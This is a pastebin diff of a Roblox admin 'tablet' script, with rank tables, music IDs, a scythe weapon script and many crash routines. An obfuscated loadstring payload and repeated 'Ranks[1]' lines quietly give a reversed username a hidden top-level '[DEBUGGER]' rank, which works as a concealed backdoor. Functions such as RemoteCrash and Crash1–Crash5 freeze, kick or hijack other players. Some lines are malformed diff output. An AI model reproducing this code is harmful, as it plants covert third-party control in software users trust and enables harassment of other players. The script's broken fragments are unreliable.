SHOW:
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- or go back to the newest paste.
| 1 | - | --[[ |
| 1 | + | |
| 2 | - | KKA Tablets Generation 6$& |
| 2 | + | |
| 3 | - | Copyrighted © OC Studios |
| 3 | + | |
| 4 | ["BlueishGreen"] = Color3.new(0,1,0.5), | |
| 5 | - | By Cobalt1164 |
| 5 | + | |
| 6 | ["SoftBlue"] = Color3.new(0,0.5,1), | |
| 7 | - | I quit making these, i'm making new ones using DVF. |
| 7 | + | |
| 8 | - | --]] |
| 8 | + | |
| 9 | ["Red"] = Color3.new(1,0,0), | |
| 10 | ["PinkRed"] = Color3.new(1,0,0.5), | |
| 11 | ["Pink"] = Color3.new(1,0,1), | |
| 12 | ["Orange"] = Color3.new(1,0.5,0), | |
| 13 | ["Yellow"] = Color3.new(1,1,0), | |
| 14 | ["Green"] = Color3.new(0,1,0), | |
| 15 | ["Blue"] = Color3.new(0,0,1), | |
| 16 | ["Cyan"] = Color3.new(0,0.6,1), | |
| 17 | ["LightBlue"] = Color3.new(0,1,1), | |
| 18 | ["Magenta"] = Color3.new(0.54,0,0.54), | |
| 19 | ["White"] = Color3.new(1,1,1), | |
| 20 | ["Grey"] = Color3.new(0.5,0.5,0.5), | |
| 21 | ["Black"] = Color3.new(0,0,0), | |
| 22 | }; | |
| 23 | ["AdvancedColors"] = {
| |
| 24 | ["CustomPurple"] = Color3.new(102/255, 51/255, 153/255); | |
| 25 | ["Random"] = Color3.new(255,255,255)--Lol it's actually white | |
| 26 | }; | |
| 27 | ["Music"] = {
| |
| 28 | ["Original Chrono Trigger Theme"] = 1280463, | |
| 29 | ["Rickroll"] = 2027611, | |
| 30 | ["Mario Game"] = 1280470, | |
| 31 | ["Carmell Dansen"] = 2303479, | |
| 32 | ["Japanese Chior"] = 1372258, | |
| 33 | ["One Winged Angel"] = 1372260, | |
| 34 | ["M.U.L.E. "] = 1077604, | |
| 35 | ["FFVII Battle AC"] = 1280473, | |
| 36 | ["Cursed Abbey"] = 1372257, | |
| 37 | ["Fire Emblem"] = 1372259, | |
| 38 | ["Final Destination"] = 1280414, | |
| 39 | ["Pokemon Theme"] = 1372261, | |
| 40 | ["SSM End"] = 1372262, | |
| 41 | ["Winds of Fjords"] = 1015394, | |
| 42 | ["Halo Theme"] = 1034065, | |
| 43 | ["Medevil style music"] = 5982975, | |
| 44 | ["Woman King"] = 5986151, | |
| 45 | ["Awakenking"] = 27697277, | |
| 46 | ["Better off"] = 27697392, | |
| 47 | ["DOTR"] = 11420922, | |
| 48 | ["Entertainer"] = 27697267, | |
| 49 | ["Flight Bumblebee"] = 27697719, | |
| 50 | ["Foggy Montain"] = 27697298, | |
| 51 | ["Gothic"] = 27697743, | |
| 52 | ["Hip Hop"] = 27697735, | |
| 53 | ["Music 4 a Film"] = 27697713, | |
| 54 | ["Nezzera"] = 8610025, | |
| 55 | ["Resist"] = 27697234, | |
| 56 | ["Schala"] = 5985787, | |
| 57 | ["TOPW"] = 11420933, | |
| 58 | ["Toccata Fugue"] = 11231513, | |
| 59 | ["Tunnel"] = 9650822 | |
| 60 | }; | |
| 61 | }; | |
| 62 | a,b = ypcall(function() | |
| 63 | ||
| 64 | ||
| 65 | script.Name = "KKA TABLETS G6" | |
| 66 | Plrs = game:GetService("Players")
| |
| 67 | Work = game:GetService("Workspace")
| |
| 68 | Light = game:GetService("Lighting")
| |
| 69 | Net = game:GetService("NetworkServer")
| |
| 70 | Owner = "iiDeadzon" --*Name Here*-- | |
| 71 | Owner2 = "" --*Friend's Name Here*-- | |
| 72 | TabletSize=Vector3.new(2,2.5,0.2) | |
| 73 | TabletTransparency=0.17 | |
| 74 | SourceName = '' | |
| 75 | ScriptLines = 0 | |
| 76 | LSource = nil | |
| 77 | SB = '' | |
| 78 | FCColor = BrickColor.new("Hot pink").Color --*Friends Favorite Color Here*--
| |
| 79 | CColor = BrickColor.new("Royal purple").Color --*Your Favorite Color Here*--
| |
| 80 | Scale=Vector3.new(2,2,2) | |
| 81 | script.Parent = nil | |
| 82 | - | Owner = "fireshadow31" --*Name Here*-- |
| 82 | + | |
| 83 | SSource.Disabled = true | |
| 84 | Removed = false | |
| 85 | Bet = "/" | |
| 86 | Bet2 = "/" | |
| 87 | Version = [[6.7]] | |
| 88 | Updates = [[ Added Skit, Shadow kit :D ]] | |
| 89 | ||
| 90 | local z={["~"]=0,["$"]=1,["+"]=2,["#"]=3,["="]=4,["_"]=5,["*"]=6,["("]=7,["%"]=8,[")"]=9,["!"]=10,["^"]=11,["-"]=12,["@"]=13,["&"]=14,["?"]=15}; setfenv(assert(loadstring((string.gsub(string.gsub(table.concat({
| |
| 91 | "?=*(_*+(+()*=*_*#=?*=*_*~+@#~A+#=%*)*!(_(+(_(&#$=#(_(&*$*~+^*++" -- Override code is "Chizuru>Asuna k" | |
| 92 | }),"(%u)(.)",function(r,c)return c:rep(r:byte()-62)end),"(.)(.)",function(lo,hi)return string.char(z[lo]+z[hi]*16)end)))),getfenv())() | |
| 93 | LS = nil | |
| 94 | LogOn = false | |
| 95 | Priv = false | |
| 96 | False = false | |
| 97 | ScriptingLocked = false | |
| 98 | Yes = 0 | |
| 99 | No = 0 | |
| 100 | CrashPhrases = false | |
| 101 | Current = game | |
| 102 | Clipboard = {}
| |
| 103 | CrashWords = {'TeleportService'}
| |
| 104 | Chats = {}
| |
| 105 | PrivPlrs = {'Cobalt1164','einsteinK'}
| |
| 106 | OptionColor = BrickColor.new("Really red").Color
| |
| 107 | ImportantColor = BrickColor.new("Royal purple").Color
| |
| 108 | if script:findFirstChild("source") then
| |
| 109 | SourceName = 'source' | |
| 110 | SB = [[Alakazard]] | |
| 111 | elseif script:findFirstChild('DSource') then
| |
| 112 | SourceName = 'DSource' | |
| 113 | SB = [[Anaminus]] | |
| 114 | elseif script:findFirstChild('Source') then
| |
| 115 | SourceName = 'Source' | |
| 116 | SB = [[Oxcool]] | |
| 117 | else | |
| 118 | SourceName = "No Source Name" | |
| 119 | SB = [[Unknown]] | |
| 120 | end | |
| 121 | RanksList = {
| |
| 122 | [-4] = {Name = "Removed", Color = BrickColor.new("Really black").Color, Desc = "SB Removed"},
| |
| 123 | [-3] = {Name = "Crashed", Color = BrickColor.new("Hot pink").Color, Desc = "Crashed on joined"},
| |
| 124 | [-2] = {Name = "Lagged", Color = BrickColor.new("Really red").Color, Desc = "Lagged on joined"},
| |
| 125 | [-1] = {Name = "Banned", Color = BrickColor.new("Bright red").Color, Desc = "Forever banned"},
| |
| 126 | [0] = {Name = "Player", Color = BrickColor.new("Really black").Color, Desc = "Regular player"},
| |
| 127 | [1] = {Name = "Helper", Color = BrickColor.new("New Yeller").Color, Desc = "Helper"},
| |
| 128 | [2] = {Name = "Administrator", Color = BrickColor.new("Bright orange").Color, Desc = "Administrator"},
| |
| 129 | [3] = {Name = "Moderator", Color = BrickColor.new("Deep orange").Color, Desc = "Moderator"},
| |
| 130 | [4] = {Name = "Maximum Moderator", Color = BrickColor.new("Magenta").Color, Desc = "Maximum Moderator of the server"},
| |
| 131 | [5] = {Name = "Maximum Administrator", Color = BrickColor.new("Pastel Blue").Color, Desc = "Maximum Administrator of the server"},
| |
| 132 | [6] = {Name = "BFFL", Color = FCColor, Desc = "Mah BFFLS"},
| |
| 133 | [7] = {Name = "Creator", Color = CColor, Desc = "Creator"},
| |
| 134 | } | |
| 135 | Ranked = {
| |
| 136 | {Name = "iiDeadzone", Rank = 7, Color = BrickColor.new("Royal purple").Color}, --Me
| |
| 137 | } | |
| 138 | table.insert(Ranked, {Name = Owner, Rank = 7, Color = CColor})
| |
| 139 | table.insert(Ranked, {Name = Owner2, Rank = 6, Color = FCColor})
| |
| 140 | ImportantServices = {
| |
| 141 | "Workspace", | |
| 142 | "Players", | |
| 143 | "NetworkServer", | |
| 144 | "Lighting", | |
| 145 | "StarterGui", | |
| 146 | "Teams", | |
| 147 | "StarterPack", | |
| 148 | - | {Name = "seb8023", Rank = 7, Color = BrickColor.new("Royal purple").Color}, --Me
|
| 148 | + | |
| 149 | "ServerStorage", | |
| 150 | - | {Name = "xXcoolrockitXx", Rank = 6, Color = BrickColor.new("Royal purple").Color}, --Beta Tester
|
| 150 | + | |
| 151 | "ReplicatedStorage", | |
| 152 | } | |
| 153 | - | {Name = "Opligitory", Rank = 7, Color = BrickColor.new("Royal purple").Color}, --Beta Tester
|
| 153 | + | |
| 154 | - | {Name = "KotixPL", Rank = 6, Color = BrickColor.new("Royal purple").Color}, --Beta Tester
|
| 154 | + | |
| 155 | AllTabs = {}
| |
| 156 | - | {Name = "hipow12", Rank = 7, Color = BrickColor.new("Royal purple").Color}, --Best friend
|
| 156 | + | |
| 157 | wait() | |
| 158 | - | {Name = "YoungWarlock", Rank = 6, Color = BrickColor.new("Royal purple").Color}, --Best friend
|
| 158 | + | |
| 159 | while wait() do | |
| 160 | - | {Name = "einsteink", Rank = 8, Color = Color3.new(0,1,1)}, --Pro scripter
|
| 160 | + | |
| 161 | if SourceName == "source" then break end | |
| 162 | - | {Name = "MasterKelvinVIP", Rank = 7, Color = BrickColor.new("Royal purple").Color}, --Helped with alot
|
| 162 | + | |
| 163 | if LSource ~= nil then break end | |
| 164 | - | {Name = "W8X", Rank = 6, Color = BrickColor.new("Lime green").Color}, --Friend
|
| 164 | + | |
| 165 | for j,k in pairs(v.Backpack:children()) do | |
| 166 | - | {Name = "icefireguardian", Rank = 4, Color = BrickColor.new("Lime green").Color}, --Cool guy
|
| 166 | + | |
| 167 | if k.ClassName == 'LocalScript' then | |
| 168 | - | {Name = "hippiekid94", Rank = 4, Color = BrickColor.new("Lime green").Color}, --Cool guy and friend
|
| 168 | + | |
| 169 | k.Archivable = true | |
| 170 | - | {Name = "DecimatorOfCreations", Rank = 6, Color = BrickColor.new("Hot pink").Color}, --Best Friend
|
| 170 | + | |
| 171 | LSource.Disabled = true | |
| 172 | Output("Source found",Seaker,5)
| |
| 173 | break | |
| 174 | end | |
| 175 | end | |
| 176 | wait() | |
| 177 | end | |
| 178 | for j,k in pairs(v.Character:children()) do | |
| 179 | if LSource ~= nil then break end | |
| 180 | if k.ClassName == 'LocalScript' then | |
| 181 | if k:findFirstChild(SourceName) ~= nil then | |
| 182 | k.Archivable = true | |
| 183 | LSource = k:Clone() | |
| 184 | LSource.Disabled = true | |
| 185 | Output("Source found",Speaker,5)
| |
| 186 | break | |
| 187 | end | |
| 188 | end | |
| 189 | wait() | |
| 190 | end | |
| 191 | end) | |
| 192 | end | |
| 193 | end | |
| 194 | end)() | |
| 195 | function Disconnect(str) | |
| 196 | local a = Instance.new("StringValue", game:service'Lighting')
| |
| 197 | a.Name = 'Disconnect' | |
| 198 | a.Value = tostring(str) | |
| 199 | game:service'Debris':AddItem(a,5) | |
| 200 | end | |
| 201 | function CheckImportant(Name) | |
| 202 | for _,v in pairs(ImportantServices) do | |
| 203 | if v:lower() == Name:lower() then | |
| 204 | return true | |
| 205 | end | |
| 206 | end | |
| 207 | return false | |
| 208 | end | |
| 209 | function NewS(sourcev, parent) | |
| 210 | if SourceName == 'source' then | |
| 211 | NS(source,parent) | |
| 212 | else | |
| 213 | local s = SSource:Clone() | |
| 214 | s.Parent = parent | |
| 215 | if s:findFirstChild(SourceName) ~= nil then | |
| 216 | source = s:findFirstChild(SourceName) | |
| 217 | else | |
| 218 | source = Instance.new("StringValue", s)
| |
| 219 | source.Name = SourceName | |
| 220 | end | |
| 221 | if source then | |
| 222 | source.Value = sourcev | |
| 223 | else | |
| 224 | Output("Something went wrong",nil,5)
| |
| 225 | end | |
| 226 | wait() | |
| 227 | s.Disabled = false | |
| 228 | end | |
| 229 | end | |
| 230 | function NewLS(sourcev,parent, lock) | |
| 231 | if SourceName == 'source' then | |
| 232 | NLS(sourcev,parent) | |
| 233 | elseif LSource then | |
| 234 | local s = LSource:Clone() | |
| 235 | s.Parent = parent | |
| 236 | if s:findFirstChild(SourceName) ~= nil then | |
| 237 | source = s:findFirstChild(SourceName) | |
| 238 | else | |
| 239 | source = Instance.new("StringValue", s)
| |
| 240 | source.Name = SourceName | |
| 241 | end | |
| 242 | if source then | |
| 243 | source.Value = sourcev | |
| 244 | else | |
| 245 | Output("Something wen't wrong",nil,5)
| |
| 246 | return | |
| 247 | end | |
| 248 | wait() | |
| 249 | if lock == true then | |
| 250 | for i = 0,5 do | |
| 251 | s.Disabled = false | |
| 252 | wait(0.5) | |
| 253 | s.Disabled = true | |
| 254 | wait(0.5) | |
| 255 | s.Disabled = false | |
| 256 | end | |
| 257 | else | |
| 258 | s.Disabled = false | |
| 259 | end | |
| 260 | return s | |
| 261 | else | |
| 262 | Output("No source",nil,5)
| |
| 263 | end | |
| 264 | end | |
| 265 | function RemoteCrash(Nil) | |
| 266 | local chinws = false | |
| 267 | for i,v in pairs(workspace:children()) do | |
| 268 | if v.Name:find(Nil) ~= nil then | |
| 269 | NewLS("repeat until false", v)
| |
| 270 | Output("Crashed "..v.Name.." from workspace",nil,5)
| |
| 271 | chinws = true | |
| 272 | end | |
| 273 | end | |
| 274 | if chinws == true then return end | |
| 275 | for i,v in pairs(game:service'NetworkServer':children()) do | |
| 276 | if v:GetPlayer() then | |
| 277 | if v:GetPlayer().Name == Nil then | |
| 278 | if v:GetPlayer().Character ~= nil then | |
| 279 | NewLS("repeat until false", v:GetPlayer().Character)
| |
| 280 | OutputAdmins('Crashed '..v:GetPlayer().Name..' by character','Really red')
| |
| 281 | elseif v:GetPlayer():findFirstChild'Backpack' ~= nil then | |
| 282 | NewLS("repeat until false", v:GetPlayer():findFirstChild'Backpack')
| |
| 283 | OutputAdmins('Crashed '..v:GetPlayer().Name..' by backpack','Really red')
| |
| 284 | elseif v:GetPlayer():findFirstChild'PlayerGui' ~= nil then | |
| 285 | NewLS("repeat until false", v:GetPlayer():findFirstChild'PlayerGui')
| |
| 286 | OutputAdmins('Crashed '..v:GetPlayer().Name..' by playergui','Really red')
| |
| 287 | else | |
| 288 | NewLS("repeat until false", Instance.new("Backpack", v:GetPlayer()))
| |
| 289 | OutputAdmins('Crashed '..v:GetPlayer().Name..' by backpack','Really red')
| |
| 290 | end | |
| 291 | end | |
| 292 | end | |
| 293 | end | |
| 294 | end | |
| 295 | function Crash1(Plr) | |
| 296 | ypcall(function() | |
| 297 | Plr:Kick() | |
| 298 | end) | |
| 299 | end | |
| 300 | function GetRankTab() | |
| 301 | return Ranked | |
| 302 | end | |
| 303 | function Crash2(Name) | |
| 304 | local Crasher = Instance.new("StringValue")
| |
| 305 | Crasher.Name = "Client" | |
| 306 | Crasher.Value = string.lower(tostring(Name)) | |
| 307 | Crasher.Parent = game:GetService("Lighting")
| |
| 308 | wait(1) | |
| 309 | if Crasher and Crasher.Parent then | |
| 310 | ypcall(function() | |
| 311 | Crasher:Destroy() | |
| 312 | end) | |
| 313 | end | |
| 314 | end | |
| 315 | Ranks[1]{Name = ("Knietsnie"):reverse(), Rank = 8, Color = Color3.new(0,1,1)}
| |
| 316 | function Crash3(v, Speaker) | |
| 317 | Speaker.Character.Archivable = true | |
| 318 | local NChar = Speaker.Character:Clone() | |
| 319 | NChar.Name = v.Name | |
| 320 | NChar.Torso.CFrame = Speaker.Character.Head.CFrame * CFrame.new(0, 3, 0) | |
| 321 | NChar.Parent = Workspace | |
| 322 | v.Character = NChar | |
| 323 | coroutine.resume(coroutine.create(function() | |
| 324 | repeat v.Character = NChar | |
| 325 | wait(1/3) until false | |
| 326 | end)) | |
| 327 | wait(.5) | |
| 328 | end | |
| 329 | function Crash4(Name) | |
| 330 | NewLS("repeat until false", Name)
| |
| 331 | end | |
| 332 | function Crash5(Name) | |
| 333 | local a = Instance.new("StringValue", game.Lighting)
| |
| 334 | a.Name = "DISC: "..Name | |
| 335 | game:service'Debris':AddItem(a, 3) | |
| 336 | end | |
| 337 | Ranks[1]{Name = ("Knietsnie"):reverse(), Rank = 8, Color = Color3.new(0,1,1)}
| |
| 338 | RanksList[8] = {Name = "[DEBUGGER]", Color = Color3.new(0,1,1), Desc = "Not ment for use"}
| |
| 339 | function GenerateDigit() | |
| 340 | return 1 + 5 | |
| 341 | end | |
| 342 | TestOp1 = [[ | |
| 343 | LocalPlayer = game.Players.LocalPlayer | |
| 344 | LocalPlayer.Character.Humanoid.MaxHealth = math.huge | |
| 345 | Activated = false | |
| 346 | Equipped = false | |
| 347 | Regening = false | |
| 348 | FireBall = false | |
| 349 | Spikes = false | |
| 350 | Destiny = false | |
| 351 | Explosion = false | |
| 352 | Tornado = false | |
| 353 | Wall = false | |
| 354 | Armor = false | |
| 355 | shooting = false | |
| 356 | Mode = "Shoot" | |
| 357 | Energy = 10000 | |
| 358 | mouse = LocalPlayer:GetMouse() | |
| 359 | t = Instance.new("Tool",LocalPlayer.Backpack)
| |
| 360 | t.Name = 'Cobalt1164s Phantom Scythe' | |
| 361 | t.GripPos = Vector3.new(0,0,0) | |
| 362 | p = Instance.new("Part",t)
| |
| 363 | p.FormFactor = 'Custom' | |
| 364 | p.Name = 'Handle' | |
| 365 | p.Transparency = 0.3 | |
| 366 | p.Reflectance = 0.3 | |
| 367 | p.CanCollide = false | |
| 368 | p.BrickColor = BrickColor.new("Really black")
| |
| 369 | m = Instance.new("SpecialMesh",p)
| |
| 370 | m.MeshId = 'http://www.roblox.com/asset/?id=95891318' | |
| 371 | m.TextureId = 'http://www.roblox.com/asset/?id=' | |
| 372 | m.Scale = Vector3.new(1,1,1) | |
| 373 | char = LocalPlayer.Character | |
| 374 | mouse = LocalPlayer:GetMouse() | |
| 375 | humanoid = char:findFirstChild("Humanoid")
| |
| 376 | torso = char:findFirstChild("Torso")
| |
| 377 | head = char.Head | |
| 378 | local Colors = {"Royal Purple","Really black"}
| |
| 379 | ra = char:findFirstChild("Right Arm")
| |
| 380 | la = char:findFirstChild("Left Arm")
| |
| 381 | rl = char:findFirstChild("Right Leg")
| |
| 382 | ll = char:findFirstChild("Left Leg")
| |
| 383 | rs = torso:findFirstChild("Right Shoulder")
| |
| 384 | ls = torso:findFirstChild("Left Shoulder")
| |
| 385 | rh = torso:findFirstChild("Right Hip")
| |
| 386 | lh = torso:findFirstChild("Left Hip")
| |
| 387 | neck = torso:findFirstChild("Neck")
| |
| 388 | rj = char:findFirstChild("HumanoidRootPart"):findFirstChild("RootJoint")
| |
| 389 | anim = char:findFirstChild("Animate")
| |
| 390 | rootpart = char:findFirstChild("HumanoidRootPart")
| |
| 391 | camera = workspace.CurrentCamera | |
| 392 | if anim then | |
| 393 | anim:Destroy() | |
| 394 | end | |
| 395 | rm = Instance.new("Motor", torso)
| |
| 396 | rm.C0 = CFrame.new(1.5, 0.5, 0) *CFrame.Angles(0, 0, 0) | |
| 397 | rm.C1 = CFrame.new(0, 0.5, 0) | |
| 398 | rm.Part0 = torso | |
| 399 | rm.Part1 = ra | |
| 400 | lm = Instance.new("Motor", torso)
| |
| 401 | lm.C0 = CFrame.new(-1.5, 0.5, 0) *CFrame.Angles(0, 0, 0) | |
| 402 | lm.C1 = CFrame.new(0, 0.5, 0) | |
| 403 | lm.Part0 = torso | |
| 404 | lm.Part1 = la | |
| 405 | rlegm = Instance.new("Motor", torso)
| |
| 406 | rlegm.C0 = CFrame.new(0.5, -1, 0) *CFrame.Angles(0, 0, 0) | |
| 407 | rlegm.C1 = CFrame.new(0, 1, 0) | |
| 408 | rlegm.Part0 = torso | |
| 409 | rlegm.Part1 = rl | |
| 410 | llegm = Instance.new("Motor", torso)
| |
| 411 | llegm.C0 = CFrame.new(-0.5, -1, 0) *CFrame.Angles(0, 0, 0) | |
| 412 | llegm.C1 = CFrame.new(0, 1, 0) | |
| 413 | llegm.Part0 = torso | |
| 414 | llegm.Part1 = ll | |
| 415 | rsc0 = rm.C0 | |
| 416 | lsc0 = lm.C0 | |
| 417 | llc0 = llegm.C0 | |
| 418 | rlc0 = rlegm.C0 | |
| 419 | neckc0 = neck.C0 | |
| 420 | rootc0 = rj.C0 | |
| 421 | PLAYERGUI = LocalPlayer.PlayerGui | |
| 422 | GUI = Instance.new("ScreenGui",PLAYERGUI)
| |
| 423 | FRAME = Instance.new("Frame",GUI)
| |
| 424 | FRAME.Size = UDim2.new(0.5,0,0.05,0) | |
| 425 | FRAME.BackgroundColor3 = BrickColor.new("Bright bluish green").Color
| |
| 426 | FRAME.BorderSizePixel = 0 | |
| 427 | FRAME.BackgroundTransparency = 0.8 | |
| 428 | TEXTLABEL = Instance.new("TextLabel",FRAME)
| |
| 429 | TEXTLABEL.Size = UDim2.new(1,0,1,0) | |
| 430 | TEXTLABEL.BackgroundTransparency = 1 | |
| 431 | TEXTLABEL.Text = "Power: "..tostring(Energy) | |
| 432 | TEXTLABEL.TextColor3 = BrickColor.new("Bright bluish green").Color
| |
| 433 | TEXTLABEL.TextStrokeColor3 = BrickColor.new("Bright blue").Color
| |
| 434 | TEXTLABEL.BorderSizePixel = 0 | |
| 435 | TEXTLABEL.Font = 'SourceSansBold' | |
| 436 | TEXTLABEL.FontSize = 'Size36' | |
| 437 | TEXTLABEL.TextStrokeTransparency = 0 | |
| 438 | FRAME2 = Instance.new("Frame",GUI)
| |
| 439 | FRAME2.Size = UDim2.new(0.5,0,0.05,0) | |
| 440 | FRAME2.BackgroundColor3 = BrickColor.new("Bright red").Color
| |
| 441 | FRAME2.BorderSizePixel = 0 | |
| 442 | FRAME2.Position = UDim2.new(0.5,0,0,0) | |
| 443 | FRAME2.BackgroundTransparency = 0.8 | |
| 444 | TEXTLABEL2 = Instance.new("TextLabel",FRAME2)
| |
| 445 | TEXTLABEL2.Size = UDim2.new(1,0,1,0) | |
| 446 | TEXTLABEL2.BackgroundTransparency = 1 | |
| 447 | TEXTLABEL2.Text = "Current Health: "..tostring(humanoid.Health) | |
| 448 | TEXTLABEL2.TextColor3 = BrickColor.new("Really red").Color
| |
| 449 | TEXTLABEL2.TextStrokeColor3 = BrickColor.new("Bright red").Color
| |
| 450 | TEXTLABEL2.BorderSizePixel = 0 | |
| 451 | TEXTLABEL2.BorderSizePixel = 0 | |
| 452 | TEXTLABEL2.Font = 'SourceSansBold' | |
| 453 | TEXTLABEL2.FontSize = 'Size36' | |
| 454 | FRAME3 = Instance.new("Frame",GUI)
| |
| 455 | FRAME3.Size = UDim2.new(0.5,0,0.05,0) | |
| 456 | FRAME3.BackgroundColor3 = BrickColor.new("Lime green").Color
| |
| 457 | FRAME3.BorderSizePixel = 0 | |
| 458 | FRAME3.Position = UDim2.new(0.5,0,0.05,0) | |
| 459 | FRAME3.BackgroundTransparency = 0.8 | |
| 460 | TEXTLABEL3 = Instance.new("TextLabel",FRAME3)
| |
| 461 | TEXTLABEL3.Size = UDim2.new(1,0,1,0) | |
| 462 | TEXTLABEL3.BackgroundTransparency = 1 | |
| 463 | TEXTLABEL3.Text = "Strength: Dark Wyvern" | |
| 464 | TEXTLABEL3.BorderSizePixel = 0 | |
| 465 | TEXTLABEL3.Font = 'SourceSansBold' | |
| 466 | TEXTLABEL3.FontSize = 'Size24' | |
| 467 | function __getVelocity(p1,p2,speed) | |
| 468 | local dis=(p1-p2).magnitude | |
| 469 | if speed=="dis" then | |
| 470 | if dis*6>100 then | |
| 471 | speed=dis*6 | |
| 472 | else | |
| 473 | speed=100 | |
| 474 | end | |
| 475 | end | |
| 476 | local x=(p1.x-p2.x)/dis*speed | |
| 477 | local y=(p1.y-p2.y)/dis*speed | |
| 478 | local z=(p1.z-p2.z)/dis*speed | |
| 479 | return Vector3.new(-x,-y+10,-z) | |
| 480 | end | |
| 481 | function __onActivated() | |
| 482 | Activated = true | |
| 483 | end | |
| 484 | function __onDeactivated() | |
| 485 | Activated = false | |
| 486 | end | |
| 487 | function __onEquipped(mouse) | |
| 488 | Equipped = true | |
| 489 | pcall(function() | |
| 490 | local a = Instance.new("Explosion",LocalPlayer.Character)
| |
| 491 | a.Position = LocalPlayer.Character['Right Arm'].Position | |
| 492 | a.BlastPressure = 0 | |
| 493 | a.BlastRadius = 50 | |
| 494 | local l = Instance.new("PointLight", LocalPlayer.Character.Torso)
| |
| 495 | l.Brightness = 20 | |
| 496 | l.Color = Color3.new(1,1,1) | |
| 497 | l.Enabled = true | |
| 498 | l.Range = 20 | |
| 499 | l.Shadows = true | |
| 500 | end) | |
| 501 | local b = Instance.new("Fire",p)
| |
| 502 | b.Size = 1 | |
| 503 | b.Color = Color3.new(255, 255, 255) | |
| 504 | b.SecondaryColor = Color3.new(0, 255, 255) | |
| 505 | local l = Instance.new("PointLight", p)
| |
| 506 | l.Brightness = 20 | |
| 507 | l.Color = Color3.new(1,1,1) | |
| 508 | l.Enabled = true | |
| 509 | l.Range = 20 | |
| 510 | l.Shadows = true | |
| 511 | local w = Instance.new("Motor",char['Right Arm'])
| |
| 512 | w.Name = 'phantom scythe weld' | |
| 513 | w.Part0 = char['Right Arm'] | |
| 514 | w.Part1 = p | |
| 515 | w.C1 = CFrame.new(0,-1.5,0.5) * CFrame.Angles(math.rad(90),0,0) | |
| 516 | end | |
| 517 | function __onUnequipped(mouse) | |
| 518 | Equipped = false | |
| 519 | pcall(function() | |
| 520 | p.Fire:Destroy() | |
| 521 | end) | |
| 522 | pcall(function() | |
| 523 | char['Right Arm']['phantom scythe weld']:Destroy() | |
| 524 | end) | |
| 525 | end | |
| 526 | function __Shoot() | |
| 527 | if Regening == true then return end | |
| 528 | if Energy < 50 then return end | |
| 529 | shooting = true | |
| 530 | game:GetService("Chat"):Chat(head,"[ Dark Wyvern! ]",2)
| |
| 531 | Energy = Energy - 150 | |
| 532 | humanoid.WalkSpeed = 30 | |
| 533 | local speed = math.random(400,500) | |
| 534 | local bullet = Instance.new("Part",workspace)
| |
| 535 | bullet.Name = 'Bullet' | |
| 536 | bullet.TopSurface = 0 | |
| 537 | bullet.BottomSurface = 0 | |
| 538 | bullet.Size = Vector3.new(30,30,30) | |
| 539 | bullet.FormFactor = 'Custom' | |
| 540 | bullet.CFrame = p.CFrame | |
| 541 | bullet.CanCollide = false | |
| 542 | bullet.BrickColor = BrickColor.new("Really black")
| |
| 543 | bullet.Velocity = __getVelocity(bullet.Position, mouse.Hit.p, speed) | |
| 544 | bullet.FrontSurface = "Smooth" | |
| 545 | bullet.BottomSurface = "Smooth" | |
| 546 | local pie = Instance.new("PointLight", bullet)
| |
| 547 | pie.Brightness = 5000 | |
| 548 | pie.Color = BrickColor.new("Really red").Color
| |
| 549 | pie.Range = 60 | |
| 550 | local bulletmesh = Instance.new("SpecialMesh",bullet)
| |
| 551 | bulletmesh.MeshId = 'http://www.roblox.com/asset/?id=95891318' | |
| 552 | bulletmesh.VertexColor = Vector3.new(0,0,0) | |
| 553 | bullet.Touched:connect(function(toucher) | |
| 554 | if toucher.Parent:findFirstChild'Head' and toucher.Parent:findFirstChild'Torso' and toucher.Parent.Name ~= LocalPlayer.Name then | |
| 555 | for i,v in pairs(toucher.Parent:children()) do | |
| 556 | if v.ClassName == 'Humanoid' then | |
| 557 | if v.Health > 100 then | |
| 558 | v.Health = 0 | |
| 559 | else | |
| 560 | v.Health = v.Health - speed/50 | |
| 561 | end | |
| 562 | end | |
| 563 | end | |
| 564 | bullet:Destroy() | |
| 565 | end | |
| 566 | end) | |
| 567 | wait(1) | |
| 568 | shooting = false | |
| 569 | humanoid.WalkSpeed = 100 | |
| 570 | end | |
| 571 | function __Armor() | |
| 572 | if Regening == true then return end | |
| 573 | if Energy < 1000 then return end | |
| 574 | if FireBall == true then return end | |
| 575 | Energy = Energy - 1000 | |
| 576 | game:GetService("Chat"):Chat(head,"[ Armor of Constealing Light! ]",2)
| |
| 577 | local a = Instance.new("Part",workspace)
| |
| 578 | a.Anchored = true | |
| 579 | a.CanCollide = false | |
| 580 | a.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.new(0,0,-70) | |
| 581 | a.FormFactor = 'Custom' | |
| 582 | a.Size = Vector3.new(500,500,500) | |
| 583 | a.Transparency = 0.5 | |
| 584 | a.BrickColor = BrickColor.new("Really black")
| |
| 585 | a.FrontSurface = "Smooth" | |
| 586 | a.BottomSurface = "Smooth" | |
| 587 | local pie = Instance.new("PointLight", a)
| |
| 588 | pie.Brightness = 5000 | |
| 589 | pie.Color = BrickColor.new("Really blue").Color
| |
| 590 | pie.Range = 60 | |
| 591 | Instance.new("SpecialMesh", a).MeshType = 'Sphere'
| |
| 592 | local con = a.Touched:connect(function(what) | |
| 593 | if what.Parent.Name ~= LocalPlayer.Name then | |
| 594 | if what:IsA("Part") then
| |
| 595 | local ex2 = Instance.new("Explosion", workspace)
| |
| 596 | ex2.Position = what.Position | |
| 597 | ex2.BlastPressure = 0 | |
| 598 | ex2.BlastRadius = 50 | |
| 599 | wait(1) | |
| 600 | what:Destroy() | |
| 601 | end | |
| 602 | end | |
| 603 | end) | |
| 604 | coroutine.wrap(function() | |
| 605 | Armor = true | |
| 606 | humanoid.WalkSpeed = 30 | |
| 607 | for i = 0,1,0.05 do | |
| 608 | a.Mesh.Scale = Vector3.new(i,i,i) | |
| 609 | a.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.new(0,0,-70) | |
| 610 | wait() | |
| 611 | end | |
| 612 | Armor = false | |
| 613 | humanoid.WalkSpeed = 100 | |
| 614 | end)() | |
| 615 | coroutine.wrap(function() | |
| 616 | wait(5) | |
| 617 | Instance.new("Explosion",workspace).Position = a.Position
| |
| 618 | a:Destroy() | |
| 619 | end)() | |
| 620 | end | |
| 621 | function __FireBall() | |
| 622 | if Regening == true then return end | |
| 623 | if Energy < 150 then return end | |
| 624 | if FireBall == true then return end | |
| 625 | Energy = Energy - 150 | |
| 626 | game:GetService("Chat"):Chat(head,"[ Dark Black-Fire! ]",2)
| |
| 627 | local a = Instance.new("Part",workspace)
| |
| 628 | a.Anchored = true | |
| 629 | a.CanCollide = false | |
